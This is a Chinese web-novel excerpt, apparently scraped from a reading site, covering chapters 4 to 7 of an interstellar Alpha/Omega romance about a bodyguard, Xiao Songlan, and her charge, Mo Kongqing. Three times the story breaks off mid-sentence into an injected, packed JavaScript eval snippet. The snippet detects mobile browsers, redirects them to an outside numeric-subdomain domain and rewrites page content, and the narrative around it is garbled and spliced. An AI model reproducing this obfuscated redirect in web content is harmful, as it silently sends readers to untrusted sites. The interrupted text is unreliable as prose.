这更像是一种本能的带着占有欲和破坏欲的试探,而非对信息素的索求。 萧菘蓝在他手指落下时便已抬眼,那双沉静的眸子淡淡地看着他,没有任何被冒犯的怒意,也没有羞怯,只是平静地映着他此刻略显危险的神情。 她没有回应他那近乎挑衅的“想咬一口”,而是伸出手,替他拉了拉滑落到腰际的被子一角,又仔细地捻了捻边缘,确保盖得严实。 紧接着萧菘蓝才抬起另一只手,握住了他那只在她后颈流连的手腕,然后将其拿开,放回他自己身侧的被面上。 “睡觉。” 被强行打断的墨空青非但没有恼怒,反而像是被她的反应取悦了。他低低地笑出声,喉结滚动着,带着点恶作剧得逞般的愉悦。 墨空青顺势翻了个身,动作间柔软的家居服领口微微敞开,将自己同样脆弱的后颈暴露在萧菘蓝眼前。 那片皮肤下的腺体因他情绪的波动而微微发热。 他侧过脸,看向床边站着的萧菘蓝,尾音上扬像是在邀请:“那我给你咬一口怎么样?” 萧菘蓝的目光落在他毫无防备露出的切充满诱惑的腺体上。 房间里的光线似乎暗了一瞬,她的眼底晦暗不明。但那异样转瞬即逝,快得如同错觉。 萧菘蓝没有回答那个问题,只是微微俯下身,替他把敞开的领口仔细拢好。然后,她直起身,目光重新落回他那双充满蛊惑和期待的碧眸上。 “少爷,听话。” 这四个字如同一个温柔的禁制,瞬间封住了他所有继续试探的念头。墨空青眼底的光亮闪烁了一下,最终乖乖地“哦”了一声,像只被顺了毛的大型猫科动物,重新闭上了眼睛。 4. 想他 相较于墨家的低调肃穆,萧家的庭院里多了几分生活的宁静气息。萧菘蓝刚进来,便看到母亲正弯着腰小心翼翼地给一丛淡紫色的花修剪枝叶。 午后的阳光洒在她身上,温婉柔和的气息仿佛能抚平一切躁动。她听到动静抬起头,看到萧菘蓝时,脸上立刻绽开笑容。 “菘蓝,你回来了?”江语放下小巧的花剪,快步迎了上来,双手自然而然地捧住女儿的脸颊,仔细检查着,眉头很快又心疼地皱起,“怎么瘦了这么多?海冥星那边是不是很辛苦?是不是吃的不好?这段时间委屈你了。” 萧菘蓝任由母亲温热的手掌贴着自己的脸颊,神情在熟悉的关切中微微松弛下来。她轻轻摇头:“我很好,母亲,少爷待我也很好。” “可是海冥星那地方哪能舒心。”江语叹了口气,拉着她的手往花园里走,“快来,看看我新培育的兰花,开得可好了,你不在的时候,我每隔几天都会采一些放到你房间里。” “今日还没来得及换,晚些时候我再给你拿过去。” 萧菘蓝安静地跟在母亲身边,接过她递来的水壶,一起帮忙浇灌那些花卉。水流缓缓地渗入泥土,空气中弥漫着植物茎叶的清新气息。 江语一边整理花枝,一边絮絮叨叨地问着路上的情况,问她有没有受伤。萧菘蓝大多只是简短地回答“没有”“很顺利”。 浇到一半时,江语的动作忽然顿了一下,她特意背过去,抬手轻轻按了按自己的太阳穴。 但萧菘蓝还是注意到了。 “母亲?” “没事没事。” 江语摆摆手,勉强笑了笑:“可能晒久了,有点晕。” 萧菘蓝放下水壶,看着她略显苍白的脸色:“您定期去检查了吗?” “都是一些老毛病了,你别担心。”江语避重就轻,又拿起花剪,“可能就是最近没有休息好。” 萧菘蓝抿着唇:“抱歉母亲,让你担心了。” 这时,一身笔挺军装的萧长空从庭院入口走了进来。他身形高大,面容冷峻,属于Alpha的威严气场即使收敛着也依然存在。他的目光先是落在江语身上,看到她按着额头的动作时,眉心极快地皱了一下,随即才转向女儿。 “父亲。”萧菘蓝站直身体。 萧长空的目光在她身上迅速扫过,确认她没有明显外伤、气息稳定,他的面部神情才柔和了一些。 他点了点头,算是回应。 萧长空走到江语身边:“进去休息吧,外面风大。” 江语无奈地笑了:“你们父女俩,别把我供起来似的,哪有那么脆弱。”她摆摆手,带着点嗔怪,“行了,你们聊去吧,不用管我,我把手头上这点儿收拾好就进去了。” 萧长空看着妻子坚持的样子,没再勉强,只是眼神里的担忧并未散去。他转向萧菘蓝:“跟我来。” 萧菘蓝对母亲点点头,跟在父亲身后走进了屋内。 书房的陈设简洁硬朗,萧长空没有坐下,只是站在窗前,背对着萧菘蓝。 “海冥星的事,我都知道了,你做的不错。” 萧菘蓝站在他身后,开口问:“现在议会那边对于少爷是什么态度?” “这一点你们暂且先不用担心。” 萧长空转过身:“今早元帅与我通过话,空青当初也算得上是占了平叛的名头,只是他还没有正式进入到军方,那些老家伙也是想要借这点来生事。虽然吵得厉害,但至少海冥星现在名义上划归帝国管辖,元帅手里有足够的筹码,暂时压下去了。” 萧菘蓝眼神微动,悬着的心稍微落下一点,她知道父亲口中的“压下去”意味着元帅和他联手进行了与议会的博弈。 “但往后的麻烦是不会少的。”萧长空话锋一转,语气沉了几分,“空青行事太张扬,这次是彻底把自己放在了火上烤,你在他身边,风险只会更大。” 萧菘蓝迎上父亲的目光,没有任何退缩:“这是我的职责。” 萧长空看了她几秒,最终只是“嗯”了一声,没再说什么。他知道女儿的性格,认定的事,谁也改变不了。 “这几天抽哥时间,再去研究院全面检测一下你的腺体吧。” 萧菘蓝微微一怔。 “知道了,父亲。” 离开书房,萧菘蓝回到了自己许久未归的房间。里面还保持着离开时的整洁,桌上摆着母亲精心打理的花,不至于让这里一点人气都没有。 她脱下外套,走进浴室。 温热的水流冲刷着身体,浴室里蒸腾起氤氲的水汽。萧菘蓝不知为何就想起了昨天晚上墨空青靠近时,温热的呼吸拂过颈侧。 她伸手向后。 那个地方没有一点隆起,也没有信息素的波动,一片死寂。 “想咬一口。” 萧菘蓝的指尖在那片皮肤上摩挲了一下,动作忽然停住。她转动方向,猛地拧大了水流,冰冷的水劈头盖脸地浇下来,让她微微打了个寒噤。 萧菘蓝深吸一口气,关掉花洒,走到镜子前。浴室里蒸腾的水汽渐渐散去,镜面恢复清晰,她的双手撑在洗手台边缘,然后抬起脸看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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行动预案已发送至终端,请指示。】 议会那些人,果然按捺不住了,打着冠冕堂皇的旗号,找各种借口,派了一波又一波人,迫不及待地想把手伸进海冥星里。 萧菘蓝放下通讯器,拿起刚刚组装好的手枪,冰冷的枪身贴着她的指腹,脑子里却不由自主地想:不知道少爷现在在做什么? 她手中一顿,压下想把枪再次拆掉的冲动。 父亲说得没错,新一波特使的到来,只会让这火越烧越旺。而她的职责,就是确保无论少爷用什么样的方式反击,她都能扫清一切可能会出现的障碍,消除所有威胁。 萧菘蓝的目光再次落在那行文字上,唇角勾起一个几乎算不得微笑的弧度。 “安全评估?” 希望这些特使们,真的懂什么叫安全。 5. 不乖 萧菘蓝离开墨家不过半日,房间里的东西被墨空青翻了又翻,光屏上的数据在眼前晃动,却始终无法真正抓住他的注意力。 窗外的日光斜移,在地板上拉长了影子。房间太大,太空旷,连空气都显得凝滞沉闷。 不行了。 墨空青烦躁地扒拉了一下自己的头发,那股子被强行压抑的躁意终于爆发。 他想见她。 现在,立刻,马上。 而这个念头一起,就像火星落进干草堆,瞬间燎原。 可他刚走到楼梯口,脚步却硬生生顿住。 顾言深正从楼下上来,手里拿着份报表。 父子俩就在楼梯转角打了个照面。 墨空青几乎是条件反射般就想转身,动作刚起,顾言深凉凉的声音已经响起:“站住,你跑什么?” 墨空青笑着:“那不是父亲特意叮嘱,让我近几日少在您眼前晃悠嘛?省得又把您给气着了。” 顾言深看着他这副油盐不进的样子,额角青筋隐隐跳动。他和墨庭两个顶级Alpha的基因结合,千辛万苦就养出这么个玩意儿来? “你又要跑哪里去?外面现在什么情况你心里没点数?” 墨空青脸上的笑容不变,甚至更加灿烂了些:“去萧家啊。好几个月没见伯母了,怪想念她的。”理由找得无比顺口。 顾言深冷哼一声:“就你那点心思能瞒得了谁?” “那您既然都知道了,干嘛还要问呢。” “......”顾言深被噎了一下。 他看着眼前这个已经高过自己的儿子,人家那脸上的心思毫不掩饰。 一股无力感涌上心头。 “真是出息了。人才走了多久啊?这半天你就这么黏糊?” 墨空青像是没听出话里的嘲讽,反而顺着杆子往上爬:“爸,要是还生气,等我回来您想怎么训都行,但现在再不见到萧萧,您儿子就要病了。” “头疼,真的。” 顾言深看着他那副“病弱”的样子,一口气差点没上来。 跟这个混账东西,多说一个字都是浪费生命。 “赶紧滚。” “得嘞。”墨空青脸上的虚弱瞬间消失无踪,笑容灿烂得晃眼。 这还没等他出大门,萧菘蓝就已经回来了。 “萧萧,你怎么才回来?” “少爷这是要去哪里?” 墨空青的声音带着点刻意的委屈:“这里待得闷死了,我想去找你。” 萧菘蓝:“外面情况复杂,少爷这段时间还是别出门的较好。” “别出门?”墨空青眉梢微挑:“萧萧这是准备把我关起来吗?” “少爷听话就不会。” 墨空青像是听到了什么有趣的事,低低地笑起来,然后伸出手,虚虚地描摹了一下她领口的线条,眼神乖戾又带着点挑衅:“可我啊,一向就不怎么听话的,萧萧不是最清楚吗?” 萧菘蓝没有说话。 墨空青脸上的笑意更深了,向前挪了小半步:“反正有你在不是吗?” 那份病态的占有和装出来的乖顺,在他身上矛盾又和谐地交织着。 萧菘蓝看着他瞬间乖巧模样,垂下眼:“进去吧。” 墨空青立刻伸出手想要去拉萧菘蓝,身体也顺势就往她身边靠。 “站好。” 萧菘蓝的拒绝让他伸到一半的手顿住。 墨空青撇撇嘴,收回手,刚才那点装出来的委屈,似乎又带上了几分真实。 二楼阳台上,顾言深端着咖啡杯,面无表情地看着楼下发生的这一幕,然后默默抬起杯子喝了一口。 行了。 这一大家子,全都是Alpha。 * 少爷确实不乖。 当萧菘蓝站在“玉麟州”那奢靡的大门口时,这个想法清晰地划过脑海。 这是帝都最大的一家会所,处在中央二环寸土寸金的核心地带。它的背景成谜,往来皆是权贵子弟,倒不是说不正经,却也干净不到哪里去。 据萧菘蓝所知,某些无法在明面上进行的交易大多都会在这里促成。 她脸上没什么表情,周身的气场冷得让门口训练有素的侍应生下意识地绷紧了身体,不敢多问,恭敬地引她入内。 走廊里流淌着若有似无的酒气,从各个紧闭的包厢门缝里渗出。而特制的香薰盖过了信息素的味道,避免因为信息素波动而引发一系列不必要的麻烦,毕竟能够出现在这里的人,身份都非比寻常。 门被推开时,里面混杂的笑闹声瞬间涌出,又在萧菘蓝踏入的刹那骤然停住。 巨大的环形沙发上人影绰绰。 这里是帝都真正的权力游戏场边缘,聚集着各大政治派系、军界高层家里的少爷小姐,甚至包括那位名存实亡的皇室继承人——艾斯。 联邦瓦解,帝国成立,但表面的统一之下,分裂的暗影从未消失。 萧菘蓝的目光迅速锁定了最里面的位置。 墨空青靠坐在宽大的沙发深处。包厢里的镭射灯光偶尔扫过他的侧脸,勾勒出清晰冷峻的线条。他姿态慵懒,一条手臂随意地搭在沙发靠背上,碧色的眸子在光影明灭间显得格外幽深,像潜伏在暗处的猛兽。 他仿佛置身于一场与自己无关的闹剧中心,让周围的人都下意识地保持距离。 就在几秒前,包厢里还充斥着觥筹交错的喧闹。此刻,所有人都被按下了暂停键,目光齐刷刷地投向门口那道身影,然后又小心翼翼地瞥向沙发深处那位。 艾斯刚刚开了一瓶价值不菲的酒,看清来人时,脸上的笑容微僵了一瞬,然后迅速调整。他端着那杯刚倒满的酒,步履从容地朝门口方向迎了上去。 “哟,稀客。”艾斯脸上挂着无可挑剔的标准微笑,声音清朗,掐着恰到好处的熟稔,“好久不见啊,萧小姐。”他举了举手中的酒杯,姿态优雅。 墨空青抬眸,目光越过艾斯,落在了萧菘蓝身上。他唇角微微勾起,似笑非笑。 萧菘蓝在艾斯脸上停留了不到半秒,没有任何回应,径直朝着墨空青的方向走去。 墨空青依旧维持着那个坐姿。 萧菘蓝在他面前站定,俯身,伸出手握住了墨空青搭在沙发靠背上那只手。 手腕处的衬衫袖口,因为他的动作而滑落下来一小截,露出了线条流畅的腕骨。 萧菘蓝垂着眼,将那片滑落的袖口向上翻折,一丝不苟地重新挽好。 整个过程中,墨空青非常配合,任由她摆布自己的手腕。 艾斯端着酒杯的手还举在半空,脸上的笑容彻底僵住,眼底闪过被无视的愠怒。他盯着萧菘蓝旁若无人的举动,又看了看墨空青那副理所当然的样子,一股无名火猛地窜起。 他嗤笑一声,声音刻意拔高,带着浓浓的讽刺:“啧,空青的近卫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181545|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是尽职尽责啊,连这点小事都要亲力亲为。看来我们身边带的那些人,都得跟着多学着点才行了。” 说完,艾斯像是要压下这份被冒犯的怒火,将手中的酒杯凑到唇边,仰头一饮而尽。 角落里传来一个懒洋洋的声音,夹杂点金属碰撞的轻微叮当响。 “你是第一天认识她吗?” 说话的是一直窝在角落单人沙发里的颂城。他手里正摆弄着一个小型机甲模型,头都没抬,似乎眼前的一切都远不如他手里的零件有趣。 他语气平淡,戳破了艾斯试图营造的煽动氛围,也点破了在场大多数人心照不宣的事实。萧菘蓝的尽职,从来都只针对墨空青一人,且界限分明到不容置喙。 颂城的话让包厢里的气氛将至冰点,可当事人却丝毫不在意,仍在捣鼓手中的机甲模型。 “哟,这都愣着干什么呀,不是说好要喝酒的吗?”一个窈窕的身影从人群后方款款走出,是霍枔。 她穿着一条蓝色的丝绒长裙,眉眼间流转着妩媚风情,手里正托着一个酒瓶。 “我可是专门把家里压箱底的宝贝都搬来了。”霍枔娇嗔的抱怨着,眼神敏锐地捕捉着场中细微的变化,目标明确地走向萧菘蓝。 “菘蓝。” 霍枔亲昵地喊了一声,无视了墨空青那变得冰冷且极具压迫感的注视,将手中已经倒好一小杯递了过去。 “好久不见,赏个脸?” 萧菘蓝的视线微微偏转,在墨空青脸上停留了一瞬,似乎在确认什么。然后她干脆地伸出手,接过了霍枔递来的酒杯。 喉咙吞咽了一下。 空杯被放回霍枔手中。 霍枔接过空杯,指尖轻轻晃了晃,看着萧菘蓝那双依旧沉静如水的眸子,声音像裹了蜜糖一样:“姐姐的酒,好喝吧?” 不等萧菘蓝给出任何回应,她又继续道:“哎呀,反正这里有没有外人,你既然来都来了,就一块坐下呗。” 其他人也跟着打起哈哈,音乐声也不知被谁重新调大。 艾斯的脸色依旧难看,但还是强撑着体面,在霍枔递过来的一个眼神暗示下,阴沉着脸坐回了自己原本的位置。 他身边的人低声说了句什么,艾斯握着酒杯的手指紧了紧,没再发作。 那男人对着艾斯微微摇头,眼神里带着提醒:“行了,别忘了今天来的目的。” 艾斯烦躁地扯了扯衣领,目光却不由自主地又瞟向门口方向。 另一边,沙发角落的阴影里。 “酒好喝吗?”墨空青紧盯着萧菘蓝的嘴唇。 萧菘蓝:“少爷把我支开,就是为了来这里?” 墨空青像是没听到她的反问,重复了一遍:“我问你,酒好喝吗?” 萧菘蓝没有搭理他,话题一转:“程岩没有回军部述职,而是直接回了程家。” 墨空青的眼睛微眯,仍固执地问:“酒好喝吗?” 萧菘蓝:“明天我约了苏明朝,去研究院检测腺体。少爷要跟着一起吗?” 墨空青不再追问,反而伸手拿起自己面前那杯一直未动过的酒。他看也没看,仰起头,喉结滚动,一口闷了下去。 辛辣的液体滑入着喉咙,一路滚落到胃里,带来一阵灼烧感。 墨空青将空杯砸回桌上,发出“咚”的一声响。他站起身,高大的身影透着一股危险的气息,却只挤出一个字: “要。” 6. 装乖 “要?”霍枔拎着酒瓶,脸上挂笑,目光在墨空青的黑脸上扫过,转向萧菘蓝:“再来一杯?” “他不喝。”萧菘蓝声音冷硬,视线却没离开墨空青。 霍枔耸了耸肩:“哦。” 这时,一个侍从快步进来,俯身在霍枔耳边低语。 霍枔的眼神变了变,清清嗓子:“诸位,今日的主角来了。” 此话一出,包厢内的交谈碰杯再次停止,甚至连颂城都放下手中的零件。 权力,在任何时代都是最核心的驱动力。而权力最坚实的根基,莫过于掌控帝国的经济命脉。 帝国超过半数的能源开采、星际贸易、尖端科技命脉,都牢牢掌控在三个家族手中。 这也是那么多人都觊觎海冥星的原因,它蕴含的星矿能源,是足以撬动现有格局的砝码。 而这三家的历史,据说能够追溯到遥远的古地球时期,也就是那个传说中早已经湮灭于星尘的文明摇篮。虽然关于古地球的记载早已真假难辨,但其遗留下的财富与底蕴,却实实在在地构筑了这三大家族在星际时代的巍然地位。 在这个人类进化出Alpha、Beta、Omega三大类性别的时代,Beta以其庞大的人口基数构成了社会的基石,支撑着帝国的日常运转。此刻包厢内的十余人里,Alpha仅有萧菘蓝、墨空青、颂城,以及正瘫在沙发扶手上醉得不省人事的霍樾,也就是霍枔的亲弟弟。 Omega的数量就更为稀少了。 而今日的主角正是苍舒家的继承人,苍舒雪。她也是这三个家族年轻一辈里,唯一的Omega。 霍枔的鞋尖狠狠戳在了霍樾的肋下,她压低声音:“赶紧给我醒醒,记得把你那身Alpha信息素收好了。要是惹恼了这个祖宗,有你苦头吃的。” 霍樾被这突如其来的疼痛和警告惊得一个激灵,混沌的意识捕捉到了“祖宗”两个字,本能地缩了缩脖子。 包厢的门再次被推开,苍舒雪就站在那里。 她看起来实在太过乖巧无害了。 小巧玲珑的身形裹在浅色裙装里,一张巴掌大的小脸白皙细腻,圆润的眼睛清澈纯净。整个人散发着天真的柔美气息,与周围的环境格格不入。 但这份人畜无害的表象,很快就被她身后站着的几名近卫击得粉碎。 他们清一色深灰色的着装,脸上覆盖着只露出眼睛的面罩,身形高大挺拔。他们身上没有任何信息素泄露,但那股从骨子里透出来的煞气,如同实质的寒流席卷。 苍舒雪对众人各异的表情毫无所觉。她扫过一圈,最终看向包厢最里面站着的那人。 她微微歪了歪头,弯起眼眸,天真感叹道:“这么热闹呀。” 霍枔率先起身,脸上重新挂上得体的笑容:“苍舒小姐,许久不见,又变漂亮了呢。” “霍姐姐也是呀。”苍舒雪笑容甜美,目光却已越过众人,落在最里面,“大家别拘谨嘛,继续玩呀。”她说着便往里走。 不料艾斯横跨一步,挡住了她的去路。 “苍舒小姐,上回在......” 苍舒雪的视线被艾斯阻隔,只看到墨空青已经地坐了回去,而萧菘蓝正在地替他剥着一枚果子的皮。苍舒雪眼底闪过不耐,面上笑容却依旧无懈可击,甚至更甜了几分:“艾斯阁下看起来心情甚佳,想必是遇到了什么大喜事?” 她语速轻快,巧妙地截断了艾斯的话头。 艾斯还想开口,苍舒雪立即提高音量,望向里面:“空青看起来......似乎并不欢迎我呢?” 墨空青咬下萧菘蓝递来的果肉,慢条斯理地嚼着:“平日里神龙见首不见尾的,今天倒有空了?” 苍舒雪立刻绕过艾斯,在墨空青另一侧的沙发空位坐下:“这不是听说你回来了嘛,特意过来看你呀。”她歪头,笑盈盈地看向萧菘蓝,“还有萧姐姐。” 萧菘蓝只是礼貌点头,算是回应。可她的身体却在苍舒雪坐下的时候,不着痕迹地调整了姿势。 “哦?”墨空青低笑一声,碧眸带着审视,“我怎么听说,你最近露面的次数可不少。” 苍舒雪眨了眨眼,一派天真:“下个月就二十一了,家里有些产业要接手,我得提前熟悉熟悉不是嘛。”她语气轻描淡写,却抛出一个关键信息,“尤其是在鸣山建工厂的事。” 大家的视线都不约而同地聚焦在苍舒雪身上。 苍舒雪对此并不在意,笑容更加明媚:“看来大家都挺感兴趣的嘛,那下个月我的成人礼,诸位可千万别迟到哦。” Omega体质特殊,腺体发育成熟较晚,因此法律规定21岁才算成年。 霍枔立刻举杯响应:“一定准时到。” 苍舒雪满意地点头:“空青还有萧姐姐,你们也一定要来哦。” 墨空青没有直接回应,只是抬手自然地用手背蹭了一下自己的下巴。 一个看起来像是无意识的小动作,只有萧菘蓝知道,这是他感到厌烦,不想再继续当前话题的信号。 于是,在苍舒雪又一次重复时,萧菘蓝就已经站起身:“少爷,时间不早了。” 霍枔最先反应过来:“如果有事就先走吧,毕竟空青现在应该比较忙,等什么时候有时间了我们再聚。” 墨空青和萧菘蓝刚出“玉麟州”,苍舒雪就在身后追了上来。 “空青,你等等。” 墨空青停下脚步:“你又做什么?” 苍舒雪走近,语气关切:“现在盯着你的人那么多,你出门又总是不爱带近卫,要不我送你回去吧,这样安全一些。” 萧菘蓝抬眼,有些不解地看向苍舒雪。 她不是吗? 苍舒雪伸手去扯墨空青的袖子。 墨空青本能地手腕一翻,将她的手甩开,力道不小。 “呀!”苍舒雪惊呼一声,身体失衡向后踉跄。 萧菘蓝往前一步,稳稳扶住她的腰。 苍舒雪顺势靠在萧菘蓝怀里,抬起小脸,委屈地看向墨空青:“姐姐,空青他好凶啊......”说着,又往萧菘蓝臂弯里缩了一下。 萧菘蓝立刻松手,退后半步:“苍舒小姐放心,少爷身边有我。” 苍舒雪站直身体,看着墨空青和萧菘蓝上车离去。 车子消失在街角,她脸上那点委屈瞬间消失,取而代之的是一种狡黠和玩味。 “阿今,”苍舒雪的语气依旧软和,问身后的近卫,“你说,是我好,还是那个墨空青好?” 阿今低声道:“自然是小姐好。” 苍舒雪轻哼一声:“就是嘛。一个臭脾气的Alpha,哪有我温柔体贴?”她说完,转身,脸上又挂起了那副甜美无害的笑容。 墨空青靠在座椅上,闭着眼,指腹又开始揉着额角。苍舒雪身上那隐隐的甜香,让他本就敏感的神经感到一阵阵钝痛。尤其是她最后靠近时,那过于刻意的气息和肢体接触,扰得他心 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墨空青嗤笑一声,侧过头看她,眼底带着点恶劣的兴味。 “不去怎么知道她葫芦里卖的什么药?霍枔那声应得倒是快,颂城那小子也肯定会去,艾斯......”他顿了顿,语气更冷,“他今天来,未必不是想探探苍舒雪的口风。这浑水,看着就热闹。” 他说着,身体又靠近了几分。 萧菘蓝偏了下头,避开那过于贴近的气息:“那就去。” 墨空青似乎对她的避让有些不悦,握着她的手紧了紧,带着点耍赖般的味道:“萧萧,我头疼,靠着你睡会儿。”说完,也不等她反应,那颗毛茸茸的脑袋就真的靠在了她的肩膀上,还蹭了蹭,找了个舒服的位置。 萧菘蓝只好调整了一下坐姿,让墨空青靠得更稳些。车厢内再次陷入安静,只有他逐渐平稳绵长的呼吸声,和她自己变快的心跳。 车窗外的景象飞速倒退。 萧菘蓝轻轻动了动肩膀:“少爷,到了。” 墨空青睁开眼,眼底一片清明,哪还有半点睡意。他坐直身体,松开萧菘蓝的手,手指在她手背上最后轻轻点了一下,像是在确认什么。 “你方才有一段时间,心跳很快。” “下车。”萧菘蓝按下车门开关。 “哦。” 墨空青先进了门,萧菘蓝落后一步。 阳光在庭院石板上投下清晰的斜影。她刚上台阶,那道斜影就已经在身边站定。 是墨空青的近卫之一。 萧菘蓝半敛着眼睛,仔细整理着方才在车中被弄皱的袖口。直到将最后一丝褶皱抚平,她才抬眼:“从家里到玉麟州,总共七个点,都解决了。” 墨空青这趟看似任性的外出,自然不是真和萧菘蓝闹了别扭。与其被动地等暗处的眼睛窥探,不如主动现身当诱饵。 “不留活的?” 萧菘蓝冷笑:“为什么要让他们活?” 墨伊点头,又问:“程家那边还要继续盯着吗?” 萧菘蓝扫过一眼,仿佛能穿透墙壁看到里面那个正等着她的人。 “先撤了吧。” 毕竟程岩是要拉拢的人,过度的监视反而容易引起不必要的猜忌,暂时静观其变。 7. 注射 次日清晨,悬浮车驶入中央研究院。不同于普通的医院,这里的检测中心主要进行腺体方面的研究。 整个区域被巨大的穹顶笼罩着,柔和的光线透过特殊材料倾泻而下。空气中闻不到一丝消毒水的刺鼻,只有恒温系统维持的清新洁净。 作为墨空青和萧菘蓝的专属医生,苏明朝早已等候在独立的检测室。这位女性Omega穿着白色的研究服,神情专注地看着悬浮在空中的光屏数据。 “躺上去吧,菘蓝。”苏明朝示意检测台。 萧菘蓝后颈随即被贴上若干感应触点,她照做躺下,仪器启动的瞬间,一阵密密麻麻的刺痛从连接处传来,紫色的光束在她周身扫描。 墨空青待在外围的等待室里,目光透过玻璃始终追随着检测台上的身影。 漫长等待后,光束终于熄灭。 苏明朝调阅着最终数据:“和以前一样,完全检测不到信息素信号,也没有任何结构上的异常波动。” 她食指在光板上轻扣几下,往检测室窗外瞥了一眼:“倒是你家少爷不得了啊。” 苏明朝将光板转过去,调出另一条数据,那里显示着墨空青近期的信息素监测记录。 “他的信息素活跃度持续处于高位,峰值超出安全阈值太多。当初离开帝都去海冥星前,我就反复提醒过,他是人,不是怪物,哪怕是S+级的Alpha也不能毫无节制地挥霍。目前看来易感期很可能会提前,而且强度难以预估。” “墨空青一旦失控,后果你应该清楚。” 苏明朝的神情转为严肃:“我已经根据最新数据重新调整了他的抑制剂配方,增加了浓度和稳定性。配比参数和应急方案已经同步到你终端。” 她看着萧菘蓝的眼睛,语气认真,“数据我这边也会同步给顾先生。今天之内,务必给他注射一剂新的抑制剂。注射后需要密切观察他的反应,有任何异常,比如情绪极端不稳、体温异常升高或者信息素爆发性溢出,立刻联系我。” “明白。”萧菘蓝应下,坐起身,整理好衣领。 萧菘蓝走出检测室时,就看见墨空青坐在沙发上,手里正把玩着她的枪,他抬眼:“怎么这么久?苏明朝和你说了什么?” 萧菘蓝过去一把按住枪:“少爷乱用信息素,波动太大,往后抑制剂的剂量需要加大。” “那你呢?” 萧菘蓝的目光在他脸上停留了一瞬,随即移开,声音平平:“和以前一样。” 墨空青盯着她看了几秒,没再追问。 从研究院回到回去的路上,乃至站在静室门口时,墨空青脸上的神情依旧没变,看不出任何即将爆发的征兆。 门外有数名近卫把守的密闭静室由特殊吸能材料打造,幽暗且压抑。 进去后,墨空青背对着门,站在房间中央,身体线条绷紧,透出一种强自压抑的烦躁。属于顶级Alpha的信息素威压如同无形的风暴,在狭小的空间里左冲右突,却被墙壁牢牢锁住无法逸散,反而让室内的压迫感不断攀升,浓稠得几乎令人窒息。 萧菘蓝反手锁死了厚重的门,手中拿着一支特制的高浓度抑制剂。 “少爷。” 墨空青转过身,那双碧眸此刻暗沉沉的,翻涌着失控边缘的暴戾像一头被激怒的凶兽。他盯着萧菘蓝手中的抑制剂,喉结滚动了一下,没有动,也没有说话,只有越来越急促的呼吸昭示着他体内狂躁的能量。 他不喜欢静室,也不喜欢抑制剂。 萧菘蓝却没有丝毫停顿,直接将他压在座椅上,然后开始注射针剂。 冰冷的针尖刺破皮肤,墨空青闷哼一声,身体本能地绷紧抗拒,萧菘蓝空出一只手稳稳按住他的肩膀。 淡蓝色的药液被推入血管。 整个过程没有丝毫多余的对话和眼神交流,只有力量无声的对抗与压制,在空气中激烈碰撞又迅速平息。 随着药液注入,墨空青身体剧烈震颤了一下,肌肉开始松弛,眼底翻腾的暴戾缓缓退去,被深重的疲惫取代。他往后一仰,闭上眼,胸口起伏。 萧菘蓝拔出针管,放入回收装置。 静室里只剩下墨空青沉重的呼吸声。 萧菘蓝站在原地看着他,等待药剂起效。 时间一点点流逝。墨空青额上的冷汗似乎减少了一些,呼吸也渐渐趋于平稳。 但是这种短暂的平静仅仅维持了不到十分钟。 墨空青的呼吸节奏毫无征兆地再次紊乱起来,他的眉头紧锁,似乎正承受着巨大的痛苦。 虽然闻不见信息素的味道,但萧菘蓝还是能够感受到空气变得异常沉重粘稠,带着令人不安的躁动感。 滴——滴——滴——滴—— 墙壁上嵌入的信息素浓度监测器发出刺目的红光,显示面板上的数值正在急速飙升,瞬间冲破了设定的安全阈值。 警报声响起。 只见墨空青猛地睁开眼,那双碧眸此刻布满了骇人的血丝。他死死咬着牙关,喉咙里发出压抑破碎的呜咽,似乎在用最后一丝理智对抗着失控的洪流。 “呃......”墨空青低下头,双手死死攥成拳,指节因为过度用力而泛白,极其艰难地开口:“出去...萧萧...快走......” 他强行压制住自己,然后抗拒萧菘蓝的靠近,身体向后缩,试图拉开距离,甚至挣扎着想要背过身去。 萧菘蓝立刻接通了苏明朝的紧急通讯。 光屏瞬间弹出,苏明朝的脸出现在上面,当她看到警报数据和墨空青的状态时,脸色一下就凝重起来。 “菘蓝,继续注射。”苏明朝没有丝毫迟疑,“立刻注射第二支抑制剂,剂量翻倍,快一点。” “晚了可能就控制不住了。” 萧菘蓝按下墙上的按钮,通知外面的人戒备。然后她迅速打开药箱的第二层,取出了备用的抑制剂。 可是这一次,当她持针靠近时,墨空青的反应截然不同。 “别...碰我!”他低吼着,身体爆发出一股凶悍的力量,猛地挥臂格挡,狠狠扫向萧菘蓝持针的手腕。 萧菘蓝眼神一凝,侧身避开这一击,立刻扣住墨空青再次挥来的手。与此同时,装备箱底部弹出一个银色的锁环装置。 萧菘蓝左手一甩,“咔嗒”一声轻响,将墨空青的两只手反扣在身后锁住。 冰冷的金属箍紧他的腕骨。 “抱歉,少爷。” 墨空青疯狂挣扎着,身体剧烈扭动,试图挣脱束缚。 萧菘蓝借着锁环固定住,欺身而上,整个人压在墨空青身后,将他牢牢按在冰冷的墙壁上,不留一丝反抗的余地。 手中的针剂毫不犹豫地刺下。 “呃啊——” 墨空青的身体像遭受了电 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181547|181001||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 